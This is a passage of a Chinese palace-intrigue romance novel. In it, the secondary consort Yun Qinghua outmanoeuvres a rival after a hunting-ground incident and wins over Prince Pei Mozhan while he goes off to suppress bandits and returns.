云清婳擦干了眼泪,不卑不亢道:“不是妾身的过错,让妾身如何认?难道你们想让真正的黑手逍遥法外?” “还请父皇给云侧妃一个机会辩驳。”裴墨染紧跟着开口。 皇上念着昨日云清婳搭救自己的份上,摆摆手,示意手下去调查。 不到半个时辰,太监总管魏宁便回来了,他拱手道:“皇上,奴才方才带人查到了公车署的马夫,可他已经服毒自尽。” “于是奴才剖开了马的肚子,发现马腹中仍旧残留了百枯草,牲畜服用后,只要过累就会发疯。” “这个马夫是受何人指示?可曾查出?”皇上沉声发问,带着无尽威严。 裴宴庭、夏子萱眼底透着幸灾乐祸。 人已经被他们派人下毒杀死,自然不会留下任何蛛丝马迹。 魏宁顿了顿,“奴才查到,马夫留下了认罪书,确是他本人字迹。他只求保全一家老小的性命。” “哦?他指认了何人?”皇上眸子一眯,凶狠如同鹰隼。 “是……”魏宁的眼珠斜斜一瞟,“是睿王。” 所有人倒吸了口凉气。 德妃登时哭出了声,“呜呜呜皇上,睿王好歹毒的心啊,臣妾跟睿王无冤无仇啊……” 纵使再愚蠢,德妃此刻也明白了。 这是睿王的生母,虞贵妃的惯用伎俩——借刀杀人跟挑拨离间! 就因为她怀了皇上的老来子,就因为皇上此次秋狝只带了她…… 夏子萱扑通一声跪在地上,惊慌道:“陛下,定是有人栽赃陷害王爷!” “没错!如今死无对证,认罪书上写了谁便是谁。”裴宴庭跪在地上,双臂止不住地颤抖。 云清婳哽咽道:“皇上,不如再深查?幕后之人好歹毒的心啊,一下子害了三个人。” 皇上盯着抖成筛子的裴宴庭,恍若看破了一切,他讥诮道:“再查下去,未必会得到想要的结果,就此停下,都下去吧!” “是。”众皇子嘲讽地睨着裴宴庭,有序地离开。 裴墨染、裴云澈尽管心有不甘,可只能吞下苦果。 谁让虞贵妃的兄长抵御海寇,屡立奇功呢? 虞将军如今正是圣上面前的大红人,不可得罪。 裴墨染赶紧扶云清婳起身,空出的手给她擦眼泪,“蛮蛮,没事了。” “妾身给您添麻烦了。”她歉疚的福身。 他赶忙将她扶住,心头微怔。 这场仗,云清婳打得很漂亮,不卑不亢,扭转乾坤。 若是婉宁,她早就跟德妃吵得不可开交了,然后被夏子萱哄骗道歉了。 而他只能打碎牙齿活血吞。 他有时候甚至怀疑,之前婉宁在战场上的献计献策,是剽窃来的。 “蛮蛮,有你真好。”裴墨染情不自禁道。 云清婳还来不及做出反应,裴云澈就打断道:“云侧妃,不是你的过,是我们把你牵扯了进来。” 这就是雄竞修罗场吗? 云清婳心里小小的兴奋了一下。 她跟裴云澈对视一瞬,匆匆收回视线。 飞霜将她扶走,低声道:“奴婢昨晚就逼马夫写好了认罪书。” 她颔首,“做得干净吗?” “没留下蛛丝马迹。”飞霜神采奕奕。 云清婳满意的颔首。 回营帐不久,帐外传来婢女叽叽喳喳的声音。 少顷,飞霜抱了一只白绒绒的小奶狗回来。 “是王爷派人送来的,估计是用来跟您道歉!”她将狗撑到云清婳面前。 云清婳瘪嘴,连忙后退一步,“我最讨厌狗了,狗男人,净给我找不痛快。” “为什么?”飞霜勾了勾小狗的脑袋。 她道:“因为我见过狗吃……” 飞霜笑得眼泪都快出来了,“小奶狗现在只能吃奶,还不能吃那个呢。” 第17章 我们圆房可好? 云清婳摇摇头,“那也不行,更何况猫猫狗狗容易伤人,若是被赵婉宁利用,栽赃我怎么办?” “那就把它送人?”飞霜问。 她颔首,“等把它利用好了,就送人。” 飞霜将小狗安置在垫了衣物的竹篮里。 …… 尽管皇上没有责罚裴宴庭,可还是下令不准他陪伴狩猎,命他当日折返回城。 这跟当众扇了裴宴庭耳光无异,裴云澈心中大喜,邀请裴墨染在帐中饮酒。 亥时,云清婳沐浴后便上了榻。 飞霜剪去一截去灯芯,“裴云澈雅正克制,今日倒是少见的放纵。” 云清婳一手撑着脑袋,另一只手绞着胸前垂落的发,媚态横生。 “他吃醋了,不想放裴墨染回来。”她玩味笑着,烛光映照在稚嫩的脸蛋上衬出别种风情的娇媚。 飞霜讽刺道:“看来裴云澈已经被您拿下了。” “不!”云清婳很清醒。 男人为你吃醋,不一定是爱你;男人心疼你,不一定是爱你;男人说要娶你,也不一定是爱你…… 裴云澈只是见不得,他的所有物被其他人染指罢了。 正说着,门外传来一阵脚步声。 飞霜立即掀开营帐,“王爷。” 裴墨染看着榻上侧躺着的云清婳,穿着一席白裙,宛若一尊玉雕的仙子,心像被猫儿挠了一下。 他生得极好,剑眉星目,眉飞入鬓,薄唇总是蕴着薄红,因为在边关镇守多年,肌肤呈淡淡的小麦色。他宽肩窄腰,身材颀长,毕竟是二十二岁的年纪,不怒时周身总是透着一股意气风发的少年气。 “王爷……”云清婳下榻,光着脚踩进绣花鞋里,上前扶他。 裴墨染浑身一股酒气,走路也不太稳当,他垂首,捏着她的脸,“蛮蛮,唤本王夫君。” 她嗔怪地瞪了他一眼,吩咐道:“飞霜,去备水。” “是。”飞霜偷笑一声,立即出去。 云清婳去往矮桌前,给他倒了杯水,“喝些茶吧。” 裴墨染颔首,他朝她走来,脚下一个不稳,被凳子腿绊了一下,险些摔倒。 扑哧—— 她没忍住笑出了声。 裴墨染狼狈的抬眼,棱角分明的脸上染了几分红晕,幽幽地盯着她。 云清婳顿感毛骨悚然,连忙收笑,“快喝茶吧。” 他大步走到她身边,挨着她坐下。 接过茶,他囫囵喝下后,哑声问:“你方才笑话本王?” “没有。”她一本正经。 “你方才就是笑了,本王听见了。”他捏着她的下巴,一双桃花眼居高临下地看她。 她垂下眼,“您喝醉了,听错了。” 裴墨染正欲发话,她猝然扑进他怀里,“您又欺负我!” 淤堵在心口的愁闷,瞬间化解一半。 他知道她在耍赖,想要蒙混过关,但他对她的示弱很受用。 “逗你玩呢,怕什么?”他搂住她,“送你的狗,可喜欢?” “喜欢的。”她抬起双眼,眸子晶亮,仿佛其中闪耀着星河,天真透彻。 裴墨染心想,皇兄出的主意可真好,蛮蛮果然很喜欢。 “蛮蛮,本王已向父皇上书,自请前去西南剿匪,快则一个月回来,你照顾好自己。嗯?”他的声音前所未有的柔和。 她的黛眉微蹙,眼神晦暗,“……” “怎么了?”裴墨染不解地问。 云清婳枕在他的胸口,闷闷地说:“妾身担心夫君,妾身不想让夫君涉险。” 裴墨染的心悸动不已,一道暖流从心上划过。 所有人都问他有没有把握,都让他不要轻敌,可只有她一人担心他的安危。 同样的事情,在西北也发生过,他跟瓦剌交战到了白热化,赵婉宁却只是祝他必胜,让他一定要拿下被瓦剌侵占的城池…… 但,云清婳或许是装的。 思及此,他想要试探一番,他佯装生气道:“本王可是大昭战神,本王的实力你不放心?你不相信本王?” 狗男人可是男主,有男主光环。 她担心个鬼! 云清婳从他的怀中起身,正视着他,“妾身自然相信夫君,但是夫君一定不能受伤,要是留疤了,我就不喜欢了。” “蛮蛮的意思是,现在很喜欢本王?”他心中极悦,将脸凑到她面前笑着反问。 这副贱嗖嗖的模样,让她真想给他一巴掌。 云清婳登时脸红到了脖颈,她恼羞成怒地沉了脸,起身要走。 他好死不死地扯住她的袖口,“蛮蛮,等本王剿匪回来,我们圆房可好?” 她扯了扯衣袖没扯动,臊得捂住他的嘴,“别说了……” “如何?”他追问,就好像她不点头,就不放她走。 就在这时,飞霜带着人端水进来。 “王爷,热水备好了。” 云清婳立即将衣袖抽走,逃似的上了榻。 裴墨染进了屏风后嗤嗤地笑了。 他背信弃义了婉宁,他都不纠结了,她拧巴什么? 他必须要跟她好好说说。 裴墨染急匆匆的沐浴后,身上的水都没擦干就穿着亵衣上了榻。 跟平常一样,她还是背对着他。 他熟稔地抱住她,轻啄她的后颈,“知道你没睡,回答本王,嗯?” 云清婳身子轻颤。 狗男人! 挺会撩拨啊。 裴墨染感到她的颤抖,嘴角噙着坏笑。 她真敏感。 云清婳用手捂着后脖颈,转过身,双眼湿漉漉的。 “母后都催了,你这么喜欢小狗,也会喜欢孩子的。”他劝道。 啊呸! 她正好不喜欢小狗,更不会喜欢小孩。 云清婳摇摇头,“夫君,妾身不想变成坏女人……您跟王妃本是佳偶,妾身怎能横刀夺爱?” “蛮蛮,本王不可能只有婉宁一人,当年是本王年少轻狂,食言了。你怎会是坏女人?若说坏人也该是本王。” 他对赵婉宁很愧疚。 但他无法欺骗自己的心,他对云清婳的确有点动心了。 云清婳颇有成就感,他肯接受自己变心,接下来的攻心,就会简单许多。 她捂住他的嘴,“您别这么说,您此去西南剿匪正是为了王妃不是吗?王妃会明白您的心意的。” 裴墨染心中的愧疚,霎时又被减轻一半。 是啊,若不是婉宁闯祸,他何必去卖命? 这都是婉宁一手促成的。 “蛮蛮,那枚荷包呢?”裴墨染忽然提起。 第18章 没良心的小东西! 云清婳垂下眼,眼睫轻颤,又委屈起来,“夫君为何突然提起这个?” 他尴尬地咳了咳,“本王的荷包……恰巧坏了。” 云清婳在心里暗骂,狗男人,想要荷包,还这么爱面子。 男人都有贱性,越容易得到的,越不珍惜。 “妾身觉得那荷包不祥,铰了。”说着,她带上了哭腔。 裴墨染忙将她搂在怀里,有些手忙脚乱,“怎的又哭了?之前的事都过去了,蛮蛮再给本王做一个可好?嗯?” “可是夫君说过,妾身绣的荷包丑。”她鼓着嘴,赌气地看着另一边。 裴墨染失笑,他屈起指骨刮了下她挺翘的鼻梁,“真记仇!之前是本王有眼不识第一贵女的绣工,本王后悔了行吗?” “您又促狭妾身!”她羞臊地将脸埋进他的胸口。 他吐出一口浊气。 不知为何,跟云清婳在一起时,身心都很松快。 正所谓,居安思危,她像一个蜜罐子,让他不妨有些担忧自己会松懈、沉沦。 …… 秋狝结束不久,裴墨染便要启程去往西南。 这一日,秋高气爽,阳光正好。 裴云澈、云清婳一齐送他。 “夫君多加小心。”她声音轻细,眼底含着不舍。 “放心吧。”裴墨染嘴角勾起一抹弧度,轻捏她的掌心。 裴云澈看着他们相握的手,觉得分外刺眼,“墨染,听闻匪徒凶残狡猾,切莫掉以轻心。” “皇兄已经说了许多遍了。”裴墨染调侃。 云清婳收回手,“妾身也会求皇后娘娘,早日将王妃解禁。” “蛮蛮大度,吾心甚慰。本王已经训斥过婉宁,她日后不会再生事端了,你莫要记恨她。”裴墨染冠冕堂皇的说着。 云清婳怆然地垂下眼,不语。 裴墨染知道她在委屈,他打趣道:“你虽叫蛮蛮,可性子一点都不蛮。” “……” 裴云澈满脸鄙夷,看他的眼神多了一丝嫌弃。 这个无知莽夫! 蛮蛮分明是比翼鸟,是云丞相夫妻恩爱的象征,亦是对小女儿婚姻的祝福。 他根本配不上蛮蛮! “墨染,军队等你多时,别耽搁了。”裴云澈催促。 乾风也催促道:“王爷,诸葛先生来催了。” “知道了。”裴墨染有些不舍的看了眼云清婳,他翻身上马,带领军队远去。 早知道方才就不提婉宁了。 可惜没时间跟蛮蛮说了。 …… 玄音阁。 裴墨染、赵婉宁不在,云清婳一人在王府乐得自在。 至于她说会为赵婉宁求情,自然是假的! 她又不犯贱! 云清婳倚靠在软榻上,手里捻着竹签,扎了一颗剥了皮的葡萄,“府上主事的各处,可都安排好了?” 飞霜颔首,“侧妃放心,各处掌事嬷嬷都用银钱打点了,各处也都安插进了我们的人。” 云清婳的眸中射出森然的光。 从前都是她被赵婉宁的眼线盯着,现如今,正是她夺权的好机会。 她从绣篓中拿出针线丢给飞霜,狡黠道:“找人做个荷包,切勿绣成双成对的图案,七日内给裴墨染送去。” 狗男人才不配她亲手做荷包! 她就是要吊着他,让他想要却得不到。 “是。”飞霜差点笑喷,自家主子真会享福。 “对了,还有一个发现。” 飞霜脸上的笑容敛去,她从怀里拿出手帕,帕子里包着零星的药渣,“这是咱们的人从清心阁小厨房的渣斗里发现的。” “虽然宝音已经处理得很干净了,但做事必留痕,还是被翻找到了一点残渣。” 云清婳挑眉,饶有兴趣地问:“这是什么药?” 飞霜笃定道:“千金方,治妇人下身的,药渣里好像有桑螵鞘,恐怕病症不轻呢。” “啧,人贱自有天收,赵婉宁这么快就遭报应了吗?呵……”她阴恻恻的嗤笑,面相邪魅得有些瘆人。 她现在无比好奇,赵婉宁究竟得了什么妇科病!? 关在翊坤宫的禁闭室,喝不到汤药,她的病会如何呢? “继续查,切莫打草惊蛇。”她绞着胸前垂下的青丝。 飞霜的眼中一片幸灾乐祸,“是。” …… 赵婉宁在禁闭室足足被关了一个月才被白嬷嬷送回王府。 当日她被两个丫鬟搀扶着回了清心阁,之后便再也没出过门。 听闻,她当日被抬回来时,身上泛着一股夹杂着馊味的恶臭。 …… 裴墨染是在离京两个月后带兵回城的。 急报一传来,天才蒙蒙亮,赵婉宁便盛装打扮出门迎接。 她私下下令,此事不准通知云清婳。 被关禁闭的一个月,她做梦都恨不得手刃了云清婳! 这个贱人居然扮猪吃老虎,跟她抢裴墨染! 去死吧! …… 裴墨染此役赢得漂亮,不仅将西南山匪的老巢掀了,还将土匪头子的首级当众砍下,挂在城门三天三夜,以慰民心。 在西南,他的名声空前高涨,百姓皆称他为大昭战神。 回宫述职、请安后,裴墨染便策马匆匆往王府赶。 听说赵婉宁在一个月前被母后放出翊坤宫后,生了重病…… 除此之外,他的脑海里就是——云清婳。 他憋了一肚子话想要跟她说! 而且,临行前,他们说好了等他回来就圆房! 红鬃烈马掠起阵阵沙尘在四王府门前停下。 裴墨染穿着银质虎纹铠甲翻身下马,他风尘仆仆,身上沾染迸溅了深黑色的血渍,浑身笼罩着骇人的气质。 “恭迎王爷回京!”全府上下的管事、嬷嬷以及婢女一齐行礼。 “王爷……”赵婉宁欢喜的小跑上前,扑进他的怀里。 裴墨染看着赵婉宁气色红润,松了口气,“婉宁,身子怎么样?病可好了?” 赵婉宁有些感动,看来之前的事已经过去了。 他不生她的气了。 她笑道:“早就好了。” “嗯,这便好。”他四处张望扫视。 目光所及,唯独不见云清婳。 他的语气一软,“蛮蛮呢?” 赵婉宁的心头一痛,吸进鼻腔的空气都像针扎。 她叹了口气,“我让人催了好几遭了,可云妹妹……许是惫懒吧?王爷还不知道她?” 裴墨染莫名不悦。 他离京数月归来,蛮蛮居然一点都不急着见他! 没良心的小东西! 他待会儿一定要狠狠“罚”她! 赵婉宁的嘴角扬起不明显的弧度,“不提她了,我备了菜,王爷想必舟车劳顿,快用些吧,这些日子辛苦了。” “嗯。”裴墨染的眼神不自主的瞟向玄音阁的方向。 似乎下一秒,娉娉袅袅的小人儿就会现身。 此时,云清婳收到线人的通传,不紧不慢地往清心阁赶。 第19章 急着圆房 她今日梳了堕马髻,髻中间只插了一只岫玉梳篦,她穿着新做的淡紫色纹云襦裙,外面罩着一层流光纱,在阳光下映出彩光,腰间坠着一对羊脂玉佩,气质典雅却不失灵动娇俏。 飞霜低声抱怨:“赵婉宁真是坏进骨子里了!居然故意封锁了风声,这下好了,王爷就算面上不说,心里肯定会怪罪您。” “有何可惧?赵婉宁的手段,我三岁就不玩了。”云清婳的粉唇掀起一抹嘲意。 …… 清心阁。 用完膳后,裴墨染开口道:“婉宁,日后你跟蛮蛮要好生相处,云家在朝中举足轻重,倘若能拉拢云丞相,朝中半数文官都会归顺本王,你明白吗?” 赵婉宁捏着茶盏的手一颤,热茶撒到手背上,把她烫得倒吸了口凉气,“我知道了。” 他颇感安慰。 “王爷,你是不是厌弃我了?”赵婉宁的眼圈红了。 裴墨染连忙安抚:“怎么会?婉宁,你是本王的正妃,跟本王在边关同甘共苦,你是不同的!” 可她心头的恐惧仍旧不断扩散。 将来她可是要当皇后,跟裴墨染共执天下的! 不能被云清婳抢走了! “王爷放心,我日后一定不会再做傻事。”赵婉宁连忙大表忠心。 裴墨染看着她惊慌的模样,心里升起了一抹怜惜,但更多的是欣慰。 婉宁能明白就好! 为了他能顺利夺嫡,她必须得学会妥协,他不可能只有她一个人。 他满意地颔首,“将云妃召来,本王此次前去西南,剿回许多珍藏,一并赏赐给你们。” 赵婉宁眼底的恨意不断加深。 正说着,云清婳就拎着襦裙,步伐轻盈跨进门槛,裙摆翩跹,如同一只花蝴蝶。 少女俏皮机灵,即使是失仪,她举手投足也是美的。 她见到上首正位上的裴墨染,双眼晶亮,其中全是欣喜,“夫……见过王爷、王妃。” 裴墨染心中的埋怨尽数抵消,可嘴上还是讽刺:“终于醒了?” “嗯?”云清婳神情迷茫。 赵婉宁起身,亲昵道:“云妹妹,王爷剿回了许多珍藏,咱们一同看看吧。” “是。”云清婳福身。 下人将一盘盘质地稀奇的珠宝首饰被呈上。 这些被扣下的赃物,都是皇上赏赐的。 赵婉宁明显没兴趣,她素来不喜欢戴笨重的钗环。 云清婳的眼神从珍宝上依次扫过。 直到看见劝盘上的紫宝石手串时,眼前一亮,眼神根本挪不开。 谁都能看出她中意这条手串。 裴墨染的嘴角不自知地上扬。 这串手串,是他特意为她留下的。 第一眼看见,他就觉得她会喜欢。 因为她总是穿着紫色罗裙。 “你们自己挑吧。”他摆摆手。 “王妃先请。”云清婳恭敬的福身。 赵婉宁直接伸手拿走了云清婳面前的紫宝石手串,她挑衅地戴在手上,“多谢王爷,云妹妹该你挑了。” 裴墨染的眸子黯了下来。 众人都看得出赵婉宁这是故意抢云清婳的心头好。 “……”云清婳红着眼,怯怯看向裴墨染。 可裴墨染面无波澜,并不准备管。 云清婳恃宠而骄了,让她涨涨规矩也好。 见裴墨染不理她,她随手挑了一只白玉梳篦。 她红着眼,福身,“多谢王爷。” 赵婉宁见状,亲热地拉着裴墨染说着话,云清婳福礼后便失魂落魄地走了。 …… 玄音阁。 一回到寝房,飞霜忍不住扑哧笑出了声,“哈哈哈哈,赵婉宁真是蠢极了!” 云清婳坐在铜镜前,爱不释手地将白玉梳篦放进妆奁中。 姐姐送过她许多梳篦。 她钟爱之物,从来不是什么手串。 “那条手串成色差极了,全是棉絮,您平日赏奴婢的手串都是净体的。赵婉宁抢走了破烂,还洋洋得意。”飞霜想到赵婉宁张扬跋扈的样,就忍不住嗤笑。 “还以为她会有所长进,没想到还是那么蠢。”云清婳笑着摇摇头。 忽地,门外安静下来。 连风扫落叶都能听得一清二楚。 云清婳立即脱了鞋,躺在床榻上背身流泪。 飞霜也一秒进入状态,心疼道:“主子别哭了,手串日后还会有的……” “王爷跟王妃和好,为何要把我叫去羞辱?我是供他们取乐的玩意儿吗?”云清婳抽抽噎噎地哭。 飞霜拍着她的后背,“唉,主子,累了就睡吧,这几日您怕王爷随时回京,天没亮就起身打扮真是辛苦了。” 此话一出,云清婳的哭声更大了,“王爷根本不想见我,所以才故意让王妃不告诉我,他回京的消息。倒是我自作多情了!” 门后的裴墨染眼底写满了无奈跟失望。 难怪方才婉宁急忙打断蛮蛮说话,原来是婉宁使了手段,故意不让她来迎他。 想到云清婳为了见他,这几日都没睡好,他的心软了下来。 他轻手轻脚地走进门。 飞霜惊讶得捂嘴。 云清婳一边哭,嘴里一边絮叨:“飞霜,我知道了,一定是王爷跟王妃和好了,王爷故意在帮王妃报仇出气!要不是我,王妃怎会做出捉奸、下药的糊涂事?被关禁闭?” “这日子没法过了,飞霜,咱们收拾收拾行李逃吧。” 听到她要逃,裴墨染的心像被揪住。 云清婳怎么敢的? 又想离开他? 这个没良心的,私下居然这样阴暗的揣度他! 亏他在西南时,时不时想起她。 飞霜吓得扑通跪到地上。 听到响声,云清婳娇憨的转脸往外看。 一片阴影从头顶撒下。 只见穿着染血盔甲的男人,站在榻边,黑着脸居高临下的看着她。 云清婳吓得心肝一颤,她连忙下榻,怯怯的伏在他脚边,“王爷恕罪,妾身、妾身……昏了头,不是有心编排您跟王妃的。” 语毕,两股泪汇成一颗豆大的水珠从她的鼻尖落下。 美人泣泪,好似壁画上的仙女。 他的心像被一片羽毛扫过,痒却挠不到。“傻瓜。” 裴墨染递给飞霜一个眼神,飞霜就退下了,还贴心的阖上门。 他迫不及待的将云清婳抱上榻,看着她铺满泪痕的小脸,喉结上下滚动,俯身吻下。 正所谓小别胜新婚,他的吻粗野暴戾,发着狠,像是恨不得把这些日子的亏欠都补回来。 “唔唔……”唇齿相依,这个吻格外的缠绵。 第20章 谁说本王不喜欢你? “唔……”云清婳伸出双手推搡着他,可渐渐的力气变小,抗拒变成了乖顺的服从。 他的征服欲得到了满足,他很喜欢她的服软。 而云清婳却嫌弃极了。 这臭男人! 为了在皇上面前卖惨,故意没拾掇,浑身脏兮兮的,一股血腥味夹杂着微微汗味。 她这属于工伤了! 吻了半晌,裴墨染放过她,他干脆跟她一同躺在榻上,四目相对。 “日后不准再说离开本王的话!记住你的身份!”他的语气含着怒。 云清婳喘着气,眼底含着水雾,“何必呢?您又不喜欢妾身。” “谁说本王不喜欢你?”裴墨染不假思索地脱口而出。 云清婳眸子一震,眼底情绪复杂。 他揉着她的脑袋,声音放轻,“本王一回京就给王府来了信,是婉宁没告诉你。手串也是特意给你挑的,没成想被婉宁抢了去。” 恐怕他自己都没有意识到,他居然在跟云清婳解释。 云清婳心中很满意,看来训狗初见成效,只有下位者才会对上位者解释。 表面上她处于下位,可实际,谁上谁下还不一定呢。 “既然您都知道,您还……”云清婳的眼泪瞬间再次决堤,像是要把一肚子委屈哭尽。 他忙给她擦眼泪,无奈地叹气,“蛮蛮,婉宁是本王的发妻,曾经为了救本王险些失了性命,她对本王一片赤诚,本王实在不忍当众驳了她的面子。” 云清婳暗自冷笑。 只是这样吗? 这狗男人恐怕是在报她未出门迎接他的仇吧! 她捂着脸,捏着嗓子哭道:“夫君,妾身真的好痛苦。妾身一边想得到您更多的疼爱,一边又知道自己应该清醒克制,浅尝辄止,妾身快要疯了!” 裴墨染何尝不明白她的意思? 她渴望他的宠爱,但又怕被伤着心,不敢陷得太深。 彷徨、挣扎、郁闷。 他不禁联想到了幼年的自己。 皇后偏心裴云澈时,他总是劝自己,裴云澈才是皇后的亲儿子,他有什么可伤心的? 既然皇后不把他当亲儿子,他也不把皇后当亲娘不就好了? 可真能做到吗? 他早就把皇后当作娘亲了啊。 “本王是你的夫君,你想让本王疼你何错之有?一条手串而已,本王稍后就命人开库房,送你更好的。”他收紧手臂抱着她。 这次是真动了心思,想要狠狠补偿她。 云清婳似乎真为了一条手串较真,推开他,脸扭到一边。 换作以前,她早就见好就收,生怕真的激怒狗男人。 但她觉醒后,了解了裴墨染的成长经历。 只要她把自己跟裴墨染的儿时经历联系在一起,裴墨染就会生出恻隐之心。 当然,这不是爱上她的表现。 他只是想用代偿的方式,补偿幼年自己。 裴墨染难得好脾气,他从怀里掏出一枚湖蓝色荷包,转移话头,“为何绣了只鹰?” 其实在行军路上,收到她的荷包时,他起初是有些不悦的。 因为乱了规矩,他暗自怪她恃宠而骄,争宠争到军营了。 但看见身边的副将一脸羡慕的表情,他的心底竟生出了一丝得意跟骄傲。 可紧接着,所有男人都发现了问题。 别人家姑娘送荷包绣的都是成双成对的纹样,为何他只有形单影只的鹰。 “雄鹰展翅寓意大展宏图。”她淡淡地说。 这个解释跟诸葛贤的一样。 裴墨染依旧蹙眉,“之前的图案就很好,下次绣蝴蝶。” 云清婳偷偷翻了个白眼。 狗男人还提起要求了。 “本王还知道了蛮蛮是比翼鸟的意思,那日分别,你跟皇兄是不是在心里暗笑本王是大老粗?没学问?”他面带愠色,晃着她的肩膀逼她回答。 她绷不住了,清冷的神情出现了裂痕,嘴角抽搐,“妾身不敢……” “还说没有!”裴墨染一下子坐起身,他气闷地掐她的腰,“你考本王四书五经、《兵法》《策论》《鬼谷术》!” 云清婳痒得一颤,她赶忙按住在腰间作乱的手,卖乖求饶:“夫君是军事奇才,用兵如神,妾身岂敢考夫君?妾身的名字粗鄙,您不知道又有何妨?” 他显然不信她的话,俯下身正欲再次品尝她的唇瓣,云清婳却伸手捂住了他的嘴。 “我怕……”她苦着脸,指着他战袍上的大片血渍。 他一愣,嗤嗤地笑了,遂命令婢女备水,转去浴室沐浴。 云清婳这才得以喘气。 狗男人,臭死了! …… 清心阁。 赵婉宁狠狠砸了药碗,她咬牙切齿地骂道:“贱人!又搔首弄姿勾引王爷!” 婢女吓得大气不敢喘,纷纷跪地叩首。 宝音也替主子心烦,她纠结片刻才劝道:“王妃,您还是快快侍寝吧,若是被云清婳捷足先登,她就会是王爷此生的第一个女人,在王爷心里总归……啊……” 她的话还没说完,赵婉宁就一巴掌扇了过去,“住口!” 宝音没站稳,一屁股栽倒在地,手扎进了碎瓷片里,鲜血直流。 赵婉宁缓缓从愤怒中回神,她的眼底有什么稍纵即逝。 她从发间取下一枚梅花金簪,递给地上的宝音,挤出笑,“没事吧?我方才生气上了头,把你当做云清婳了。” “奴婢没事,奴婢知道的,您不是冲奴婢……”宝音双手接过金簪,感激地说。 赵婉宁命人去拿金疮药,她长叹一声:“别人不知道,你还不知道吗?我的病……” 宝音脸颊一红,羞涩道:“其实熄了灯,也看不出来。” 忽地,赵婉宁被熏香呛到,她狠狠打了个喷嚏,紧接着她的脸色骤变。 “王妃……您……”宝音担心地蹙眉。 赵婉宁的脸色一会儿红,一会儿白。 宝音当即叫了水…… …… 清心阁的事,很快传到了云清婳的耳中。 飞霜趴在榻前,嗤笑道:“赵婉宁果真被气死了!” 云清婳的眸子一转,其中的算计快要溢出来,“赵婉宁经常白天沐浴吗?” “最近是有些频繁,听说一天至少会擦洗三遍。”飞霜道。 云清婳笑了,她凑在飞霜耳边说了什么。 飞霜眼前一亮,看她的眼神多了一丝崇敬。 主仆二人正说着,婢女就来通传。 管家送手串来了,足足送了几箱。 云清婳看也不看,就命人锁进私库。 恰好裴墨染沐浴完毕,正欲找云清婳兑现出征前的承诺…… 第21章 又洗冷水澡 他才走到床榻边,乾风便禀报军务处理,他只好离开。 天黑透了,裴墨染才回府。 绕过影壁,他正欲去清心阁,正巧外院的几个伙夫正抬水往内宅去。 “这也太磋磨人了,叫水叫这么多次。” “王妃你也敢编排?脑袋不要了?” “贵人就是讲究,一天沐浴三次。” “听说这叫洁癖,就是嫌所有人脏,摸一下手就膈应得不行……” 裴墨染的手缓缓攥成拳,指节捏得咔咔作响。 他当即命管家罚了这几个伙夫的月钱。 可心里却好似被瘀血堵住了,不悦至极。 难道婉宁不愿圆房,是嫌他堂堂肃王脏? 裴墨染浑身散发着幽幽的冷气,他一转身,果断去了玄音阁。 此时,云清婳早就用完晚膳,正在吃糕点。 她见到裴墨染有些惊讶,平日他都会陪赵婉宁用膳,更何况他才回京。 云清婳连忙起身行礼,“夫君可用膳了?” 他不语,只是摇头。 她命人布膳,菜上齐后,她忙前忙后为他添饭搛菜盛汤。 裴墨染享受着她的服侍,心尖攀上了一丝暖意。 莫非在云家,云夫人就是这样伺候云丞相的? “芙蓉糕好吃,是相府带来的厨娘做的。”她见裴墨染碰也没碰小碟里的糕点,小声嘟哝了句。 他素来不喜甜,可心里突然起了试探之意。 裴墨染搛起一块芙蓉糕,咬了一口,“本王不喜甜,赏你了。” 他喂到云清婳嘴边。 云清婳微微一怔,她不明白狗男人葫芦里究竟卖了什么药。 她找人演戏给他看,为的是让他生疑,从而调查出赵婉宁的妇科病。 可事情似乎正在往另一个方向发展。 她张开嘴,轻松吃下小小一枚糕点,含糊地说:“多谢夫君。” 没有嫌弃。 只有娇憨跟受宠若惊。 裴墨染捏捏她的脸,对她的表现很满意。 她是京城第一贵女,所有女眷都想与她结交,更不必谈她背靠云家,人脉甚广,还这样乖巧聪慧,多心疼她一点又何妨呢? 宠幸她,让她生下长子,都是她应得的。 “蛮蛮,我们圆房吧。”他的声音喑哑。 云清婳水灵灵的杏眼瞪得硕大,她粉嫩的唇瓣微启,似乎被吓到了。 裴墨染不容置喙地说:“围场那晚,你答应了的。” “没有!”她蹙着眉,脸蛋臊红,“夫君,您好好想想,那晚妾身自始至终没答应过。” 他回忆了下,她貌似的确没点头也没说答应。 但他忍了两个月,甚至在西南还做了好几次关于她的春梦…… “蛮蛮,你是本王的侧妃,这是你的本分。”他一字一顿。 在婉宁那里碰壁,在这里也碰壁,彻底让他怒了。 云清婳的眼眶瞬时红了,眼泪一颗颗坠下,“妾身知道,夫君对妾身感情不深,怎能为了子嗣就……妾身知道不该说,可爹娘恩爱,妾身从小耳濡目染,只有相爱之人才能做亲密的事。妾身不能占您的便宜,也不愿成为供人发泄的玩意儿。” 男人就是贱,得到了就容易不珍惜。 所以,她得拒绝。 但不能是她原因,得是裴墨染的原因! 最后一句话一出,本来盛怒的裴墨染险些被气笑了。 说来说去,她还是不相信他喜欢她? 裴墨染虽然恼但也有几分心虚。 他对云清婳的喜欢很有限,她不傻,是能感受出来的。 “蛮蛮,你不相信本王心里有你?”他将人扯到大腿上坐着,伸手给她擦眼泪。 云清婳低下头,眼泪流个不停。 她自然不相信! 因为他们俩本质上是一样的。 只有两分用心,却想让对方感受到十分,并且为你献上一整颗真心。 裴墨染这才体会到军营的将士总说女人是水做的是什么意思,她怎么这么能哭? 他耐着性子,轻声哄:“蛮蛮不哭了,你不愿就罢了。过几日,本王带你去郊野赏枫、骑马。嗯?” 她掀起薄薄的眼皮看他,眼泪也止住了,“当真?” “自然是真的。”他心中松了口气,总算是不哭。 “夫君不许诓妾身。”她娇憨地扬起下巴,想做出凶样。 可怎么看,怎么招笑。 裴墨染轻点她的鼻尖,嘴角扬起不明显的弧度,“本王哪敢?你的眼泪快把本王淹死了。” “您怎么这么坏啊?” 她面皮一红,攥起粉拳在他胸口上捶,二人闹作一团。 忽地,云清婳停了手,她连忙起身福礼,“王爷恕罪,妾身不是故意的……” 裴墨染怎会放在心上? 但他也惊讶自己对她的放纵,这样纵情声色,会让他渐渐掉以轻心,卸掉防备的。 谋大事者,必不能如此。 他摇摇头,“无妨。” 睡前,云清婳拿了一瓶膏药才上榻。 “夫君。”她将药瓶递给他。 裴墨染双臂交叠枕在脑下,不解地看她,“蛮蛮身子不舒服?” “听乾风说,夫君受了点小伤,想必已经痊愈,这是舒痕膏。”她解释。 裴墨染一听,当即豪迈地脱去亵衣,露出结实的胸膛,宽肩窄腰,八块腹肌,风景美不胜收。“你给本王上药。” 